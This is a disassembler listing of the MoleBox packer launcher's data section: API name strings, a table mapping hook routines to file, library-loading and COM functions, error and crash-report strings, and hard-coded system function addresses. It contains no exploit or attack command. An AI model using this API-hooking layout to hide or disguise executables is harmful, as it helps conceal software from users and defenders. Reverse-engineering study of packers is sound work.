aGetmodulefilen db 'GetModuleFileNameA',0 ; DATA XREF: sub_4FE2E0+25Bo
align 4
aGetlasterror db 'GetLastError',0 ; DATA XREF: sub_4FE2E0+247o
align 4
aGetfullpathn_0 db 'GetFullPathNameW',0 ; DATA XREF: sub_4FE2E0+233o
align 4
aGetfullpathnam db 'GetFullPathNameA',0 ; DATA XREF: sub_4FE2E0+21Fo
align 4
aGetfiletime db 'GetFileTime',0 ; DATA XREF: sub_4FE2E0+20Bo
aGetfilesize db 'GetFileSize',0 ; DATA XREF: sub_4FE2E0+1F7o
aGetfileinforma db 'GetFileInformationByHandle',0 ; DATA XREF: sub_4FE2E0+1E3o
align 10h
aGetfileattri_0 db 'GetFileAttributesW',0 ; DATA XREF: sub_4FE2E0+1CFo
align 4
aGetfileattribu db 'GetFileAttributesA',0 ; DATA XREF: sub_4FE2E0+1BBo
align 4
aGetexitcodepro db 'GetExitCodeProcess',0 ; DATA XREF: sub_4FE2E0+1A7o
; sub_507494+1A6o
align 4
aGetenvironment db 'GetEnvironmentVariableA',0 ; DATA XREF: sub_4FE2E0+193o
aGetcurrentpr_0 db 'GetCurrentProcessId',0 ; DATA XREF: sub_4FE2E0+17Fo
; sub_5058A0+11o
aFreelibrary db 'FreeLibrary',0 ; DATA XREF: sub_4FE2E0+157o
aFormatmessagea db 'FormatMessageA',0 ; DATA XREF: sub_4FE2E0+143o
align 4
aFlushfilebuffe db 'FlushFileBuffers',0 ; DATA XREF: sub_4FE2E0+12Fo
align 4
aFindnextfilea db 'FindNextFileA',0 ; DATA XREF: sub_4FE2E0+11Bo
align 4
aFindfirstfilea db 'FindFirstFileA',0 ; DATA XREF: sub_4FE2E0+107o
; sub_507494+11Co
align 4
aFindclose db 'FindClose',0 ; DATA XREF: sub_4FE2E0+F3o
; sub_507494+178o
align 4
aExitprocess db 'ExitProcess',0 ; DATA XREF: sub_4FE2E0+DFo
; sub_507494+202o
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_4FE2E0+CBo
align 4
aDeletefilea db 'DeleteFileA',0 ; DATA XREF: sub_4FE2E0+B7o
; sub_507494+14Ao
aDebugbreak db 'DebugBreak',0 ; DATA XREF: sub_4FE2E0+A3o
align 10h
aCreateprocessa db 'CreateProcessA',0 ; DATA XREF: sub_4FE2E0+8Fo
align 10h
aCreatefilema_0 db 'CreateFileMappingW',0 ; DATA XREF: sub_4FE2E0+7Bo
align 4
aCreatefilemapp db 'CreateFileMappingA',0 ; DATA XREF: sub_4FE2E0+67o
align 4
aCreatefilew db 'CreateFileW',0 ; DATA XREF: sub_4FE2E0+53o
aCreatefilea db 'CreateFileA',0 ; DATA XREF: sub_4FE2E0+3Fo
aClosehandle db 'CloseHandle',0 ; DATA XREF: sub_4FE2E0:loc_4FE30Bo
; sub_507494+28Co
aApiNopefunc db ':API:NopeFunc',0 ; DATA XREF: sub_50DAB0+3o
align 4
aMbx db 'mbx',0 ; DATA XREF: sub_4FF94C+19Eo
aBoxReadcompres db ':BOX:ReadCompressedSection: decompresion failed with code %d',0
; DATA XREF: sub_500C5C+340o
align 10h
a? db '\\?\',0 ; DATA XREF: sub_50153F+56o
align 4
dword_510B68 dd 1Eh ; DATA XREF: sub_502DD0+5Aw
align 10h
dword_510B70 dd 2 dup(0) ; DATA XREF: sub_500C5C+B6o
; sub_500C5C+DBo ...
dword_510B78 dd 0 ; DATA XREF: sub_500C5C+73r
; sub_500C5C+F9w ...
dword_510B7C dd 0 ; DATA XREF: sub_500C5C+63r
; sub_500C5C+106w ...
off_510B80 dd offset dword_5118FC ; DATA XREF: sub_500C5C+84r
; sub_500C5C+125r
dd 5 dup(0)
dd offset dword_511900
dd 5 dup(0)
dd offset dword_511904
align 8
aKernel32_0 db 'kernel32',0 ; DATA XREF: sub_502DD0+E2o
; sub_50A8AA:loc_50A995o ...
align 4
aGetlongpathnam db 'GetLongPathNameA',0 ; DATA XREF: sub_502DD0+DDo
; sub_50AAEB+27o
align 4
dword_510BD8 dd 584F424Dh ; DATA XREF: sub_503610:loc_5039B0r
; sub_503610+3C4o
align 10h
dword_510BE0 dd 2Ah ; DATA XREF: sub_4FC06B+5Ao
dword_510BE4 dd 2A2E2Ah ; DATA XREF: sub_4FC06B+26o
off_510BE8 dd offset aAvicap32_dll ; DATA XREF: sub_504AB0:loc_504BDDr
; sub_504AB0+139w ...
; "avicap32.dll"
aTheUncompressi db 'The uncompression error',0
aExecutable db 'EXECUTABLE',0 ; DATA XREF: sub_504AB0+14Bo
; sub_504DC0+220o
align 10h
aTheDynamicLink db 'The dynamic link library ',27h,'%s',27h,' could not be found',0
; DATA XREF: sub_504AB0+123o
align 4
aOleaout32_dll db 'oleaout32.dll',0 ; DATA XREF: sub_504DC0+295o
align 4
aOleoaut32_dll db 'oleoaut32.dll',0 ; DATA XREF: sub_504DC0:loc_505041o
align 4
aImm32_dll db 'imm32.dll',0 ; DATA XREF: sub_504DC0:loc_50501Fo
; sub_504DC0+273o
align 10h
loc_510C70: ; DATA XREF: sub_5061E1+B67o
pop eax
push 0FF00FF00h
push 0FF00FF00h
push 0FF00FF00h
push eax
push 0FF00FF00h
retn
; ---------------------------------------------------------------------------
align 4
dword_510C88 dd 6C6C642Eh, 0 ; DATA XREF: sub_50581E+19o
; sub_50581E+32o
aDProjectsMy_sr db 'D:\Projects\My.SRC\MoleStudio\MoleBox\molebox2\bootup\mbx_DLL.cpp'
; DATA XREF: sub_5061E1+D34o
db 0
align 4
a_box_ db '_BOX_',0 ; DATA XREF: sub_5061E1+ADBo
align 4
aGetcurrentdire db 'GetCurrentDirectoryA',0 ; DATA XREF: sub_507494+EEo
align 4
aSetcurrentdire db 'SetCurrentDirectoryA',0 ; DATA XREF: sub_507494+C0o
align 4
aMbx@X@_ db 'MBX@%X@*.###',0 ; DATA XREF: sub_507494+53o
; sub_508892+E8o
align 4
aStripped db '<stripped>',0 ; DATA XREF: _6:off_50E4FCo
align 4
aAssertionFai_2 db 'ASSERTION failed',0 ; DATA XREF: _6:off_50E4F8o
align 4
aMoleboxLaunche db 'MoleBox launcher fatal error',0 ; DATA XREF: _6:off_50E4F4o
align 4
asc_510D5C: ; DATA XREF: sub_50848C+57o
; sub_5084F7+2Do
dw 0Ah
unicode 0, <>,0
aErrorAtSDReaso db 'Error at %s:%d',0Ah ; DATA XREF: sub_50848C+1Eo
db 0Ah
db 'Reason: ',0
align 4
aUp1_txt db '-up1.txt',0 ; DATA XREF: sub_508538:loc_508648o
align 4
aUp_txt db '-up.txt',0 ; DATA XREF: sub_508538+BCo
asc_510D90 db 0Dh,0Ah,0 ; DATA XREF: sub_508726+59o
align 4
aWindowsErrorSA db 'windows error %s',0Ah ; DATA XREF: sub_5087CA+75o
db ' at %s(%d)',0Ah,0
align 4
aMbx@X@X_ db 'MBX@%X@%X.###',0 ; DATA XREF: sub_508892+C2o
align 4
aMbx@X@X@X_ db 'MBX@%X@%X@%X.###',0 ; DATA XREF: sub_508892+93o
align 4
a__3 db '.###',0 ; DATA XREF: sub_508A16+175o
align 10h
aMbx@ db 'MBX@',0 ; DATA XREF: sub_508A16+78o
align 4
aInvalidDllRelo db 'INVALID DLL RELOCATION',0 ; DATA XREF: sub_508C27:loc_508E60o
align 10h
aBadFuulname db 'BAD FUULNAME',0 ; DATA XREF: sub_508C27:loc_508E57o
align 10h
aGetmodulenameE db 'GetModuleName ERROR',0 ; DATA XREF: sub_508C27:loc_508E4Eo
aHookingDllErro db 'HOOKING DLL ERROR',0 ; DATA XREF: sub_508C27:loc_508E45o
align 4
aPackedDllOrBox db 'PACKED DLL OR BOXFILE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E3Co
aInvalidCompres db 'INVALID COMPRESSION/ENCRYPTION ALGORITHM',0
; DATA XREF: sub_508C27:loc_508E33o
align 4
aDllCorrupted db 'DLL CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E2Ao
align 4
aHeapCorrupted db 'HEAP CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508E21o
align 4
aCouldNotCreate db 'COULD NOT CREATE HEAP',0 ; DATA XREF: sub_508C27:loc_508E18o
align 4
aVirtualprote_0 db 'VIRTUALPROTECT BROKEN',0 ; DATA XREF: sub_508C27:loc_508E0Fo
align 4
aWrappersTableB db 'WRAPPERS TABLE BROKEN',0 ; DATA XREF: sub_508C27:loc_508E06o
align 4
aOutOfMemory db 'OUT OF MEMORY',0 ; DATA XREF: sub_508C27:loc_508DFDo
align 4
aFeatureIsNotIm db 'FEATURE IS NOT IMPLEMENTED',0 ; DATA XREF: sub_508C27:loc_508DF4o
align 4
aBoxfileCorrupt db 'BOXFILE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508DEBo
align 4
aReadBoxfileErr db 'READ BOXFILE ERROR',0 ; DATA XREF: sub_508C27:loc_508DE2o
align 10h
aCouldNotOpenBo db 'COULD NOT OPEN BOXFILE',0 ; DATA XREF: sub_508C27:loc_508DD6o
align 4
aPathIsVeryLong db 'PATH IS VERY LONG',0 ; DATA XREF: sub_508C27:loc_508DCAo
align 4
aExecutableCorr db 'EXECUTABLE CORRUPTED',0 ; DATA XREF: sub_508C27:loc_508DBEo
align 4
aDynamicLibrary db 'DYNAMIC LIBRARY IS NOT NT IMAGE',0 ; DATA XREF: sub_508C27:loc_508DB2o
aExecutableIsNo db 'EXECUTABLE IS NOT NT IMAGE',0 ; DATA XREF: sub_508C27:loc_508DA6o
align 10h
aHasNoAccessToE db 'HAS NO ACCESS TO EXECUTABLE',0 ; DATA XREF: sub_508C27:loc_508D9Ao
aAssertionFai_1 db 'ASSERTION FAILED',0 ; DATA XREF: sub_508C27:loc_508D8Eo
align 10h
aEsi0x08xEdi0x0 db 'ESI:0x%08X EDI:0x%08X',0 ; DATA XREF: sub_508C27+101o
align 4
aEsp0x08xEbp0x0 db 'ESP:0x%08X EBP:0x%08X EIP:0x%08X',0 ; DATA XREF: sub_508C27+DCo
align 4
aEax0x08xEdx0x0 db 'EAX:0x%08X EDX:0x%08X ECX:0x%08X',0 ; DATA XREF: sub_508C27+ABo
align 10h
aEs0x08xFs0x08x db 'ES :0x%08X FS :0x%08X GS :0x%08X',0 ; DATA XREF: sub_508C27+7Ao
align 4
aCs0x08xSs0x08x db 'CS :0x%08X SS :0x%08X DS :0x%08X',0 ; DATA XREF: sub_508C27+49o
align 4
a__seh__0xXAt0x db '__SEH__ 0x%x at 0x%x',0 ; DATA XREF: sub_508C27+18o
align 10h
aCc7574e45e3947 db '{CC7574E4-5E39-4700-B286-269A82DD8E95}',0 ; DATA XREF: sub_4FC271+40o
; sub_4FC271+E2o
align 4
a_splashscreen_ db '_splashscreen.bmp',0 ; DATA XREF: sub_4FC3F3+12o
align 4
aBroken0x08x db '!broken!0x%08x:',0 ; DATA XREF: sub_508EF3+FBo
a0x08xS03x08x db '0x%08x:[%s]:(%03x:%08x)',0 ; DATA XREF: sub_508EF3+CAo
aUnknown_0 db 'unknown',0 ; DATA XREF: sub_508EF3+B7o
a0x08xUnknownUn db '0x%08x:[unknown]:unknown',0 ; DATA XREF: sub_508EF3+60o
align 4
aBroken db '!broken!',0 ; DATA XREF: sub_508EF3+31o
align 4
a0x08x0x08x0x08 db '0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x',0 ; DATA XREF: sub_50918E+F9o
aStack db '--stack--',0 ; DATA XREF: sub_50918E:loc_509242o
align 4
a___OpssBrokenB db ' ... opss, broken by SEH',0 ; DATA XREF: sub_50918E+A5o
; sub_50918E+11Eo
align 10h
aS_32 db ' %s',0 ; DATA XREF: sub_50918E+47o
; sub_50918E+8Ao
align 4
aBacktrace db '-- backtrace --',0 ; DATA XREF: sub_50918E+28o
dd 2 dup(0FFFFFFFFh)
aDllgetclassobj db 'DllGetClassObject',0 ; DATA XREF: sub_50931F+51o
; sub_50B076+39o
align 8
dword_5111C8 dd 2 dup(0) ; DATA XREF: sub_5093B3+55o
dd 0C0h, 46000000h
dword_5111D8 dd 1, 0 ; DATA XREF: sub_5093B3+11o
dd 0C0h, 46000000h
aRegqueryvaluea db 'RegQueryValueA',0 ; DATA XREF: sub_509638+42o
align 4
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0 ; DATA XREF: sub_509638+3Do
align 4
aClsid08x04x04x db 'CLSID\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\InprocSe'
; DATA XREF: sub_50971C+58o
db 'rver32',0
off_511250 dd offset sub_509C54 ; DATA XREF: sub_509DD4+102o
dd offset aSetunhandled_0 ; "SetUnhandledExceptionFilter"
dd offset sub_50B2B0
dd offset aCreatefilea_1 ; "CreateFileA"
dd offset sub_50B2FE
dd offset aCreatefilew_0 ; "CreateFileW"
dd offset sub_50A7AF
dd offset aGetfileattri_3 ; "GetFileAttributesA"
dd offset sub_50A7DD
dd offset aGetfileattri_4 ; "GetFileAttributesW"
dd offset sub_50A8AA
dd offset aGetfileattri_5 ; "GetFileAttributesExW"
dd offset sub_50B3FC
dd offset aReadfile_2 ; "ReadFile"
dd offset sub_50B3D5
dd offset aClosehandle_1 ; "CloseHandle"
dd offset sub_50B460
dd offset aSetfilepoint_1 ; "SetFilePointer"
dd offset sub_50A9EC
dd offset aGetfilesize_0 ; "GetFileSize"
dd offset sub_50A0C8
dd offset aExitprocess_1 ; "ExitProcess"
dd offset sub_50B4A4
dd offset aCreatefilema_2 ; "CreateFileMappingA"
dd offset sub_50B4E0
dd offset aCreatefilema_3 ; "CreateFileMappingW"
dd offset sub_50B51C
dd offset aMapviewoffil_0 ; "MapViewOfFile"
dd offset sub_50B55B
dd offset aUnmapviewoff_0 ; "UnmapViewOfFile"
dd offset sub_50B18D
dd offset aFreelibrary_0 ; "FreeLibrary"
dd offset sub_50AE83
dd offset aLoadlibrarya_0 ; "LoadLibraryA"
dd offset sub_50AF65
dd offset aLoadlibraryw ; "LoadLibraryW"
dd offset sub_50AE96
dd offset aLoadlibrarye_0 ; "LoadLibraryExA"
dd offset sub_50AF78
dd offset aLoadlibraryexw ; "LoadLibraryExW"
dd offset sub_50B076
dd offset aGetprocaddre_0 ; "GetProcAddress"
dd offset sub_50A334
dd offset aFindfirstfil_1 ; "FindFirstFileA"
dd offset sub_50A361
dd offset aFindfirstfilew ; "FindFirstFileW"
dd offset sub_50A4AA
dd offset aFindfirstfilee ; "FindFirstFileExW"
; ---------------------------------------------------------------------------
jmp dword ptr [ebp-17BBFFB0h]
; ---------------------------------------------------------------------------
dw 50h
dd offset sub_50A626
dd offset aFindnextfile_1 ; "FindNextFileA"
dd offset sub_50A657
dd offset aFindnextfilew ; "FindNextFileW"
dd offset sub_50B582
dd offset aOpenfile ; "OpenFile"
dd offset sub_50B636
dd offset a_lopen ; "_lopen"
dd offset sub_50B677
dd offset a_lclose ; "_lclose"
dd offset sub_50B711
dd offset a_lread ; "_lread"
dd offset sub_50B6CC
dd offset a_llseek ; "_llseek"
dd offset sub_50AF8C
dd offset aGetmodulehan_0 ; "GetModuleHandleA"
dd offset sub_50AFC6
dd offset aGetmodulehan_1 ; "GetModuleHandleW"
dd offset sub_50A226
dd offset aSearchpathw ; "SearchPathW"
dd offset sub_50A1C7
dd offset aSearchpatha_0 ; "SearchPathA"
dd offset sub_50AC66
dd offset aGetprivatepr_2 ; "GetPrivateProfileStringA"
dd offset sub_50AD0C
dd offset aGetprivatepr_3 ; "GetPrivateProfileIntA"
dd offset sub_50AD93
dd offset aGetprivatepr_4 ; "GetPrivateProfileSectionNamesA"
dd offset sub_50ADDE
dd offset aGetprivatepr_5 ; "GetPrivateProfileSectionA"
dd offset sub_50A710
dd offset aGetfileinfor_0 ; "GetFileInformationByHandle"
dd offset sub_50A741
dd offset aLockfile_0 ; "LockFile"
dd offset sub_50A77D
dd offset aUnlockfile_0 ; "UnlockFile"
dd offset sub_50AA24
dd offset aGetmodulefil_1 ; "GetModuleFileNameA"
dd offset sub_50AA5E
dd offset aGetmodulefil_2 ; "GetModuleFileNameW"
dd offset sub_50AAEB
dd offset aGetlongpathn_1 ; "GetLongPathNameA"
dd offset sub_50AB3D
dd offset aGetlongpathn_2 ; "GetLongPathNameW"
off_5113C8 dd offset sub_50B23E ; DATA XREF: sub_509DD4+116o
dd offset aAddfontresou_0 ; "AddFontResourceA"
dd offset sub_50B277
dd offset aRemovefontre_0 ; "RemoveFontResourceA"
off_5113D8 dd offset sub_50B1EA ; DATA XREF: sub_509DD4+12Ao
dd offset aLoadimagea_0 ; "LoadImageA"
off_5113E0 dd offset sub_509518 ; DATA XREF: sub_509DD4+13Eo
dd offset aCocreateinstan ; "CoCreateInstance"
dd offset sub_509789
dd offset aCocreateinst_0 ; "CoCreateInstanceEx"
dd offset sub_5098C0
dd offset aCogetclassobje ; "CoGetClassObject"
off_5113F8 dd offset sub_509A34 ; DATA XREF: sub_509DD4+152o
dd offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
dd offset sub_509B3C
dd offset aLoadregtypelib ; "LoadRegTypeLib"
aGetfileattri_1 db 'GetFileAttributesExW',0 ; DATA XREF: sub_50A8AA+F0o
align 10h
aGetlongpathn_0 db 'GetLongPathNameW',0 ; DATA XREF: sub_50AB3D+A8o
align 4
dword_511434 dd 19930520h, 500829h, 158h, 12F578h, 3 dup(0) ; DATA XREF: _5:004FC523o
; sub_4FC52A+2o
off_511450 dd offset word_51145A ; DATA XREF: sub_4FC86E:loc_4FC8BDr
; sub_4FC86E:loc_4FC8CFr ...
dd offset word_51145A
db 2 dup(0)
word_51145A dw 20h ; DATA XREF: _7:off_511450o
; _7:00511454o
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_51165C dd 1 ; DATA XREF: sub_4FC86E+3Cr
; sub_4FC9EA:loc_4FC9F2r ...
dd 2Eh, 1, 2 dup(0)
dword_511670 dd 77E64C09h ; DATA XREF: sub_4FD2E0+1DFw
; sub_4FD2E0+1F6r ...
dword_511674 dd 950000h ; DATA XREF: _5:004FDED3w _5:004FDF0Fr
dword_511678 dd 970000h ; DATA XREF: _5:004FDF0Aw _5:004FDF1Br
dword_51167C dd 960000h ; DATA XREF: _5:004FDEF4w
dword_511680 dd 2 ; DATA XREF: _5:004FE0BCr
; sub_504DC0+59r ...
dword_511684 dd 941F18h ; DATA XREF: _5:004FE206r
; _5:loc_4FE28Fr ...
dword_511688 dd 4FDB3Eh ; DATA XREF: sub_4FDE50+3r
; _5:004FDE6Fw
dword_51168C dd 0FFFFFFFFh ; DATA XREF: sub_4FD2E0+213w
; sub_4FD2E0+387r ...
dd 0
byte_511694 db 0 ; DATA XREF: _5:004FE2A1w
; sub_50581E+Er
align 4
dword_511698 dd 8 ; DATA XREF: sub_4FD2E0+407w
; sub_504DC0:loc_504E0Dr
off_51169C dd offset a_text ; DATA XREF: sub_4FD2E0+410w
; _5:loc_4FEC97r ...
; ".text"
dword_5116A0 dd 0 ; DATA XREF: sub_4FE2E0+8B3o
dword_5116A4 dd 77E77963h ; DATA XREF: sub_4FE2E0+3Aw
; sub_4FE2E0+881o ...
dword_5116A8 dd 77E7A837h ; DATA XREF: sub_4FE2E0+4Ew
; _5:004FEC0Cr ...
dword_5116AC dd 77E779B1h ; DATA XREF: sub_4FE2E0+62w
; sub_50B2FE+9Fr
dword_5116B0 dd 77E77797h ; DATA XREF: sub_4FE2E0+76w
; _5:004FEC40r ...
dword_5116B4 dd 77E776D3h ; DATA XREF: sub_4FE2E0+8Aw
; sub_50B4E0+2Cr
dword_5116B8 dd 77E61BB8h ; DATA XREF: sub_4FE2E0+9Ew
; sub_5071C3+E6r
dword_5116BC dd 77EB36A5h ; DATA XREF: sub_4FE2E0+B2w
dword_5116C0 dd 77E73628h ; DATA XREF: sub_4FE2E0+C6w
; sub_4FF94C+2EAr ...
dword_5116C4 dd 77F7E21Fh ; DATA XREF: sub_4FE2E0+DAw
; sub_4FF252+2Ar ...
dword_5116C8 dd 77E75CB5h ; DATA XREF: sub_4FE2E0+EEw
; sub_50A0C8+AFr
dword_5116CC dd 77E78EAAh ; DATA XREF: sub_4FE2E0+102w
; sub_502DD0+5E2r ...
dword_5116D0 dd 77E75D9Eh ; DATA XREF: sub_4FE2E0+116w
; sub_4FF6DE+B4r ...
dword_5116D4 dd 77E75E67h ; DATA XREF: sub_4FE2E0+12Aw
; sub_4FF6DE+DCr ...
dword_5116D8 dd 77E73FF9h ; DATA XREF: sub_4FE2E0+13Ew
; sub_5061E1+CFEr
dword_5116DC dd 77E76A60h ; DATA XREF: sub_4FE2E0+152w
; sub_5087CA+60r
dword_5116E0 dd 77E80618h ; DATA XREF: sub_4FE2E0+166w
; sub_5058CF+163r ...
dword_5116E4 dd 77E79C90h ; DATA XREF: sub_4FE2E0+17Aw
; sub_5071C3+4Br ...
dword_5116E8 dd 77E80656h ; DATA XREF: sub_4FC216+15r
; sub_4FE2E0+18Ew ...
dword_5116EC dd 77E7AC5Eh ; DATA XREF: sub_4FE2E0+1A2w
dword_5116F0 dd 77E7FF65h ; DATA XREF: sub_4FE2E0+1B6w
dword_5116F4 dd 77E74CABh ; DATA XREF: sub_4FE2E0+1CAw
; sub_50A7AF+16r
dword_5116F8 dd 77E78536h ; DATA XREF: sub_4FE2E0+1DEw
; sub_50A7DD+84r
dword_5116FC dd 77E72EA0h ; DATA XREF: sub_4FE2E0+1F2w
; sub_500858+83r ...
dword_511700 dd 77E793EFh ; DATA XREF: sub_4FE2E0+206w
; _5:004FEC21r ...
dword_511704 dd 77E73CE2h ; DATA XREF: sub_4FE2E0+21Aw
; sub_503610+720r
dword_511708 dd 77E80357h ; DATA XREF: sub_4FE2E0+22Ew
; sub_4FF252+71r ...
dword_51170C dd 77E781DBh ; DATA XREF: sub_4FE2E0+242w
; sub_50A226+92r
dword_511710 dd 77F5157Dh ; DATA XREF: sub_4FE2E0+256w
; sub_5058CF+14Er ...
dword_511714 dd 77E7A099h ; DATA XREF: sub_4FE2E0+26Aw
; _5:004FEE99r ...
dword_511718 dd 77E79F93h ; DATA XREF: sub_4FC271+4Cr
; _5:004FDE79r ...
dword_51171C dd 77E719F3h ; DATA XREF: sub_4FE2E0+292w
; sub_50AD0C+76r
dword_511720 dd 77E61FD2h ; DATA XREF: sub_4FE2E0+2A6w
; sub_50AD93+3Br
dword_511724 dd 77E72C64h ; DATA XREF: sub_4FE2E0+2BAw
; sub_50AC66+95r
dword_511728 dd 77E7A5FDh ; DATA XREF: _5:004FDEA2r
; sub_4FE2E0+2CEw ...
dword_51172C dd 77E6167Bh ; DATA XREF: sub_4FE2E0+2E2w
; sub_500C5C+97r ...
dword_511730 dd 77E6AF8Fh ; DATA XREF: sub_4FE2E0+2F6w
; sub_4FF94C+1A6r
dword_511734 dd 77E6AD34h ; DATA XREF: sub_4FE2E0+30Aw
; sub_4FF94C+193r ...
dword_511738 dd 77E7C657h ; DATA XREF: sub_4FE2E0+31Ew
dword_51173C dd 77E7751Ah ; DATA XREF: _5:004FDEDFr
; sub_4FE2E0+332w
dword_511740 dd 77F516F8h ; DATA XREF: sub_4FE2E0+346w
; sub_50835A+1Fr
dword_511744 dd 77F51597h ; DATA XREF: sub_4FE2E0+35Aw
; sub_5083DD+1Cr
dword_511748 dd 77E7C726h ; DATA XREF: sub_4FE2E0+36Ew
; sub_508397+16r
dword_51174C dd 77E79908h ; DATA XREF: sub_4FE2E0+382w
; sub_502DD0+2Er ...
dword_511750 dd 77F53275h ; DATA XREF: sub_4FE2E0+396w
; sub_50B82A+2Br
dword_511754 dd 77F7E300h ; DATA XREF: sub_4FE2E0+3AAw
; sub_4FF61F+5r ...
dword_511758 dd 77E805B8h ; DATA XREF: sub_4FE2E0+3D2w
; sub_5061E1+17Fr
dword_51175C dd 77E805D8h ; DATA XREF: sub_4FE2E0+3BEw
; sub_4FE2E0+5D0r ...
dword_511760 dd 77E79881h ; DATA XREF: sub_4FE2E0+3E6w
dword_511764 dd 77E79A45h ; DATA XREF: sub_4FE2E0+3FAw
; sub_508864+9r
dword_511768 dd 77E64E2Bh ; DATA XREF: sub_4FE2E0+40Ew
; sub_50A741+23r
dword_51176C dd 77E74D76h ; DATA XREF: sub_4FE2E0+422w
; _5:004FEC5Dr ...
dword_511770 dd 77E77CCEh ; DATA XREF: sub_4FE2E0+436w
; sub_509A34+69r ...
dword_511774 dd 77E706B7h ; DATA XREF: sub_4FE2E0+44Aw
dword_511778 dd 77E6D706h ; DATA XREF: _5:004FDE93r _5:004FDEBCr ...
dword_51177C dd 77E78B82h ; DATA XREF: sub_4FE2E0+472w
; _5:00500B0Br ...
dword_511780 dd 77E6BD68h ; DATA XREF: sub_4FE2E0+486w
dword_511784 dd 77E74A3Bh ; DATA XREF: sub_4FE2E0+49Aw
; sub_50B3FC+57r
dword_511788 dd 77E78C81h ; DATA XREF: sub_4FE2E0+4AEw
; sub_500346+74r ...
dword_51178C dd 77F51587h ; DATA XREF: sub_4FE2E0+4C2w
; sub_4FF252+3BCr ...
dword_511790 dd 77E7C9E7h ; DATA XREF: sub_4FE2E0+4D6w
; sub_508C17+8r ...
dword_511794 dd 77E61BE6h ; DATA XREF: sub_4FC271+137r
; sub_4FC271+16Ar ...
dword_511798 dd 77E616B4h ; DATA XREF: sub_4FE2E0+4FEw
; sub_508401+2Dr ...
dword_51179C dd 77E64EA0h ; DATA XREF: sub_4FE2E0+512w
; sub_50A77D+23r
dword_5117A0 dd 77E75090h ; DATA XREF: sub_4FE2E0+526w
; sub_4FEDE4:loc_4FEDEEr ...
dword_5117A4 dd 77E7980Ah ; DATA XREF: sub_4FE2E0+53Aw
; sub_4FFFBF+125r ...
dword_5117A8 dd 77E79E34h ; DATA XREF: sub_4FE2E0+54Ew
; sub_4FFECD+91r ...
dword_5117AC dd 77E6169Ah ; DATA XREF: sub_4FE2E0+562w
; sub_4FFFBF+14Br ...
dword_5117B0 dd 77E7F044h ; DATA XREF: sub_4FE2E0+576w
; sub_508EF3+56r
dword_5117B4 dd 77E79D5Bh ; DATA XREF: sub_4FE2E0+58Aw
dword_5117B8 dd 77E79924h ; DATA XREF: sub_4FE2E0+59Ew
; sub_50A226+6Ar ...
dword_5117BC dd 77E79D8Ch ; DATA XREF: sub_4FE2E0+5B2w
; sub_4FF94C+282r ...
dword_5117C0 dd 77E76A2Eh ; DATA XREF: sub_4FE2E0+5C6w
; sub_501CC4+1E2r ...
dword_5117C4 dd 77D98E9Ah ; DATA XREF: sub_4FE2E0+5FFw
; sub_508401+Br ...
dword_5117C8 dd 77D44D9Bh ; DATA XREF: sub_4FE2E0+613w
; sub_4FF252+88r ...
dword_5117CC dd 77D4D42Bh ; DATA XREF: sub_4FE2E0+627w
; sub_50B1EA+44r
dword_5117D0 dd 77D6ADD7h ; DATA XREF: sub_4FE2E0+63Bw
; sub_508401+1Er ...
dword_5117D4 dd 77D4C96Ah ; DATA XREF: sub_4FE2E0+64Fw
; sub_507494+5Dr ...
dword_5117D8 dd 77D4C783h ; DATA XREF: sub_4FE2E0+663w
; sub_50848C+45r ...
dword_5117DC dd 77C87425h ; DATA XREF: sub_4FE2E0+69Cw
; sub_4FF94C+2D4r
dword_5117E0 dd 77C7212Fh ; DATA XREF: sub_4FC15E+41r
; sub_4FE2E0+6B0w ...
dword_5117E4 dd 77C76551h ; DATA XREF: sub_4FE2E0+6C4w
; sub_505456+1D1r
dword_5117E8 dd 77C72C6Bh ; DATA XREF: sub_4FC15E+8Ar
; sub_4FE2E0+6D8w ...
dword_5117EC dd 77C87887h ; DATA XREF: sub_4FE2E0+6ECw
; sub_4FFD24+E6r ...
dword_5117F0 dd 77D458EEh ; DATA XREF: sub_4FC15E+38r
; sub_4FE2E0+700w
dword_5117F4 dd 77D458FDh ; DATA XREF: sub_4FC15E+97r
; sub_4FE2E0+714w
dword_5117F8 dd 77C7506Dh ; DATA XREF: sub_4FC15E+2Br
; sub_4FC271+26r ...
dword_5117FC dd 77C71BB0h ; DATA XREF: sub_4FC15E+53r
; sub_4FC15E+81r ...
dword_511800 dd 77C72889h ; DATA XREF: sub_4FC271+175r
; sub_4FE2E0+750w
dword_511804 dd 77C729E2h ; DATA XREF: sub_4FC15E+75r
; sub_4FE2E0+764w
dword_511808 dd 77D45CBCh ; DATA XREF: sub_4FC216+Fr
; sub_4FE2E0+778w
dword_51180C dd 77D48977h ; DATA XREF: sub_4FC216+41r
; sub_4FE2E0+78Cw
dword_511810 dd 77D47F34h ; DATA XREF: sub_4FC216+4Ar
; sub_4FE2E0+7A0w
dword_511814 dd 77D4DCCCh ; DATA XREF: sub_4FC271+5Cr
; sub_4FE2E0+7B4w
dword_511818 dd 77D477C0h ; DATA XREF: sub_4FC271+64r
; sub_4FC271+6Fr ...
dword_51181C dd 77D414D4h ; DATA XREF: sub_4FC271+E9r
; sub_4FE2E0+7DCw
dword_511820 dd 77D44200h ; DATA XREF: sub_4FC271+105r
; sub_4FE2E0+7F0w
dword_511824 dd 77D43DD3h ; DATA XREF: sub_4FC271+123r
; sub_4FE2E0+804w
dword_511828 dd 77D441F2h ; DATA XREF: sub_4FC271+12Dr
; sub_4FE2E0+818w
dword_51182C dd 77D49A11h ; DATA XREF: sub_4FC216+31r
; sub_4FE2E0+82Cw
dword_511830 dd 77D47627h ; DATA XREF: sub_4FC271+157r
; sub_4FE2E0+840w
dword_511834 dd 77D46F5Bh ; DATA XREF: sub_4FE2E0+854w
dword_511838 dd 77D442CFh ; DATA XREF: _5:004FE2C7r
; sub_4FE2E0+868w
dword_51183C dd 77E7AC37h ; DATA XREF: sub_4FC3F3+45r
